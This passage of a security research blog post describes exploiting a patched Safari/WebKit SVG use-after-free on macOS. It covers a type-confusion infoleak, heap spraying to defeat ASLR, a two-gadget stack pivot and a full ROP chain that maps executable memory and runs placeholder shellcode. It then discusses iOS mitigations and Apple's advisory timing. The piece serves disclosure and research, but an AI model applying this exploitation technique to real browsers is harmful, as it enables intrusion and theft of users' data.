So, how do we exploit this type confusion for an infoleak? The initial idea was to exploit with A = <some numeric type> and B = String. This way, when the type confusion on write occurs, a string pointer is written over a number and then we would be able to read it in step 11 above. But there is a problem with this (as well as with a large number of type combinations): The value read in step 11 must be a valid CSS property value in the context of the current animated property, otherwise it won’t be set correctly and we would not be able to read it out. For example, we were unable to find a string CSS property (from the list above) that would accept a value like 1.4e-45 or similar.
A more promising approach, due to limitations of step 11, would be to replace a numeric type with another numeric type. We had some success with A = FloatRect and B = SVGLengthListValues, which is a vector of SVGLengthValue values. Like above, this results in a vector pointer being written over FloatRect type. This sometimes leads to successfully disclosing a heap address. Why sometimes? Because the only CSS property with type SVGLengthListValues we can use is stroke-dasharray, and stroke-dasharray accepts only positive values. Thus, if lower 32-bits of the heap address we want to disclose look like a negative floating point number (i.e. the highest bit is set), then we would not be able to disclose that address. This problem can be overcome by spraying the heap with 2GB of data so that the lower 32-bits of heap addresses start becoming positive. But, since we need heap spraying anyway, there is another approach we can take.
The approach we actually ended up using is with A = SVGLengthListValues (stroke-dasharray CSS property) and B = float (stroke-miterlimit CSS property). What this type confusion does, is overwrites the lowest 32 bits of a SVGLengthValue vector with a floating point number.
Before we trigger this type confusion we need to spray the heap with approximately 4GB of data (doable on modern computers), which gives us a good probability that when we change an original heap address 0x000000XXXXXXXXXX to 0x000000XXYYYYYYYY, the resulting address is still going to be a valid heap address, especially if YYYYYYYY is high. This way, we can disclose not-quite-arbitrary data at 0x000000XX00000000 + arbitrary offset.
Why not-quite-arbitrary? Because there are still some limitations:
  1. As stroke-miterlimit must be positive, once again we can only disclose data from the heap interpretable as a 32-bit float.

  1. SVGLengthValue is a type which consists of a 32-bit float followed by an enumeration that describes the units used. When a SVGLengthValue is read out as string in step 11 above, if the unit value is valid, it will be appended to the number (e.g. ‘100px’). If we attempt to set a string like that to the stroke-miterlimit property it will fail. Thus, the next byte after the heap value we want to read must interpret as invalid unit (in which case the unit is not appended when reading out SVGLengthValue as string).

Note that both of these limitations can often be worked around by doing non-aligned reads.
Now that we have our more-or-less usable read, what do we read out? As the whole point is to defeat ASLR, we should read a pointer to an executable module. Often in exploitation, one would do that by reading out the vtable pointer of some object on the heap. However, on MacOS it appears that vtable pointers point to a separate memory region than the one containing executable code of the corresponding module. So instead of reading out a vtable pointer, we need to read a function pointer instead.
What we ended up doing is using VTTRegion objects in our heap spray. A VTTRegion object contains a Timer which contains a pointer to Function object which (in this case) contains a function pointer to VTTRegion::scrollTimerFired(). Thus, we can spray with VTTRegion objects (which takes about 10 seconds on a quite not-state-of-the-art Mac Mini) and then scan the resulting memory for a function pointer.
This gives us the ASLR bypass, but one other thing useful to have for the next phase is the address of the payload (ROP chain and shellcode). We disclose it by the following steps:
  1. Find a VTTRegion object in the heap spray.

  1. By setting the VTTRegion.height property during the heap spray to an index in the spray array, we can identify exactly which of the millions of VTTRegion objects we just read.

  1. Set the VTTRegion.id property of the VTTRegion object to the payload.

  1. Read out the VTTRegion.id pointer.

We are now ready for triggering the vulnerability a second time, this time for code exec. This time, it is the classic use-after-free exploitation scenario: we overwrite the freed SVGAnimatedTypeAnimator object with the data we control.
As Apple recently introduced gigacage (a separate large region of memory) for a lot of attacker-controlled datatypes (strings, arrays, etc.) this is no longer trivial. However, one thing still allocated on the main heap is Vector content. By finding a vector whose content we fully control, we can overcome the heap limitations.
What I ended up using is a temporary vector used when TypedArray.set() is called to copy values from one JavaScript typed array into another typed array. This vector is temporary, meaning it will be deleted immediately after use, but again, due to how memory allocation works in webkit it is not too horrible. Like other stability improvements, the task of finding a more permanent controllable allocation is left to the exercise of the reader. :-)
This time, in the JavaScript event handler, we can replace the freed SVGAnimatedTypeAnimator with a vector whose first 8 bytes are set to point to the ROP chain + shellcode payload.
The ROP chain is pretty straightforward, but one thing that is perhaps more interesting is the stack pivot gadget (or, in this case, gadgets) used. In the scenario we have, the virtual function on the freed object is called as
call qword ptr [rax+10h]
where rax points to our payload. Additionally, rsi points to the freed object (that we now also control). The first thing we want to do for ROP is control the stack, but I was unable to find any “classic” gadgets that accomplish this such as
mov rsp, rax; ret;push rax; pop rsp; ret;xchg rax, rsp; ret;
What I ended up doing is breaking the stack pivot into two gadgets:
push rax; mov rax, [rsi], call [rax + offset];
This first gadget pushes the payload address on the stack and is very common because, after all, that’s exactly how the original virtual function was called (apart from push rax that can be an epilogue of some other instruction). The second gadget can then be
pop whatever; pop rsp; ret;
where the first pop pops the return address from the stack and the second pop finally gets the controlled value into rsp. This gadget is less common, but still appears to be way more common than the stack pivot mentioned previously, at least in our binary.
The final ROP chain is (remember to start reading from offset 0x10):
[address of pop; pop; pop; ret]0[address of push rax; mov rax, [rsi], call [rax+0x28]];0[address of pop; ret][address of pop rbp; pop rsp; ret;][address of pop rdi; ret]0[address of pop rsi; ret]shellcode length[address of pop rdx; ret]PROT_EXEC + PROT_READ + PROT_WRITE[address of pop rcx; ret]MAP_ANON + MAP_PRIVATE[address of pop r8; pop rbp; ret]-10[address of pop r9; ret]0[address of mmap][address of push rax; pop rdi; ret][address of push rsp; pop rbp; ret][address of push rbp; pop rax; ret][address of add rax, 0x50; pop rbp; ret]0[address of push rax; pop rsi; pop rbp; ret]0[address of pop rdx; ret]shellcode length[address of memcpy][address of jmp rax;]0shellcode
The ROP chain calls
mmap(0, shellcode_length,  PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANON + MAP_PRIVATE, -1, 0)
Then calculates the shellcode address and copies it to the address returned by mmap(), after which the shellcode is called.
In our case, the shellcode is just a sequence of ‘int 3’ instructions and when reaching it, Safari will crash. If a debugger is attached, we can see that the shellcode was successfully reached as it will detect a breakpoint:
Process 5833 stopped* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT (code=EXC_I386_BPT, subcode=0x0)    frame #0: 0x00000001b1b83001->  0x1b1b83001: int3       0x1b1b83002: int3       0x1b1b83003: int3       0x1b1b83004: int3   Target 0: (com.apple.WebKit.WebContent) stopped.
In the real-world scenario the shellcode could either be a second-stage exploit to break out of the Safari sandbox or, alternately, a payload that would turn the issue into an universal XSS, stealing cross-domain data.
The exploit was successfully tested on Mac OS 10.13.6 (build version 17G65). If you are still using this version, you might want to update. The full exploit can be seen here.
The impact of recent iOS mitigations
An interesting aspect of this exploit is that, on Safari for Mac OS it could be written in a very “old-school” way (infoleak + ROP) due to lack of control flow mitigations on the platform.
On the latest mobile hardware and in iOS 12, which was published after the exploit was already written, Apple introduced control flow mitigations by using Pointer Authentication Codes (PAC). While there are no plans to write another version of the exploit at this time, it is interesting to discuss how the exploit could be modified not to be affected by the recent mitigations.
The exploit, as presented here, consists of two parts: infoleak and getting code execution. PAC would not affect the infoleak part in any way, however it would prevent jumping to the ROP chain in the second part of the exploit, because we could not forge a correct signature for the vtable pointer.
Instead of jumping to the ROP code, the next stage of the exploit would likely need to be getting an arbitrary read-write primitive. This could potentially be accomplished by exploiting a similar type confusion that was used for the infoleak, but with a different object combination. I did notice that there are some type combinations that could result in a write (especially if the attacker already has an infoleak), but I didn’t investigate those in detail.
In the Webkit process, after the attacker has an arbitrary read-write primitive, they could find a way to overwrite JIT code (or, failing that, other data that would cause fully or partially controlled JIT code to be emitted) and achieve code execution that way.
So while the exploit could still be written, admittedly it would be somewhat more difficult to write.
On publishing the advisories
Before concluding this blog post, we want to draw some attention to how the patches for the issues listed in the blog post were announced and to the corresponding timeline. The issues were reported to Apple between June 15 and July 2nd, 2018. On September 17th 2018, Apple published security advisories for iOS 12, tvOS 12 and Safari 12 which fixed all of the issues. However, although the bugs were fixed at that time, the corresponding advisories did not initially mention them. The issues described in the blog post were only added to the advisories one week later, on September 24, 2018, when the security advisories for macOS Mojave 10.14 were also published.
To demonstrate the discrepancy between originally published advisories and the updated advisories, compare the archived version of Safari 12 advisories from September 18 here and the current version of the same advisories here (note that you might need to refresh the page if you still have the old version in your browser’s cache).
The original advisories most likely didn’t include all the issues because Apple wanted to wait for the issues to also be fixed on MacOS before adding them. However, this practice is misleading because customers interested in the Apple security advisories would most likely read them only once, when they are first released and the impression they would to get is that the product updates fix far less vulnerabilities and less severe vulnerabilities than is actually the case.
Furthermore, the practice of not publishing fixes for mobile or desktop operating systems at the same time can put the desktop customers at unnecessary risk, because attackers could reverse-engineer the patches from the mobile updates and develop exploits against desktop products, while the desktop customers would have no way to update and protect themselves.
Conclusion
While there were clearly improvements in WebKit DOM when tested with Domato, the now public fuzzer was still able to find a large number of interesting bugs in a non-overly-prohibitive number of iterations. And if a public tool was able to find that many bugs, it is expected that private ones might be even more successful.
And while it is easy to brush away such bugs as something we haven’t seen actual attackers use, that doesn’t mean it’s not happening or that it couldn’t happen, as the provided exploit demonstrates. The exploit doesn’t include a sandbox escape so it can’t be considered a full chain, however reports from other security researchers indicate that this other aspect of browser security, too, cracks under fuzzing (Note from Apple Security: this sandbox escape relies on attacking the WindowServer, access to which has been removed from the sandbox in Safari 12 on macOS Mojave 10.14). Additionally, a DOM exploit could be used to steal cross-domain data such as cookies even without a sandbox escape.
The fuzzing results might indicate that WebKit is getting fuzzed, but perhaps not with sufficient computing power to find all fuzzable, newly introduced bugs before they make it into the release version of the browser. We are hoping that this research will lead to improved user security by providing an incentive for Apple to allocate more resources into this area of browser security.
Categories: Security
Subscribe to www.hdgonline.net aggregator - Security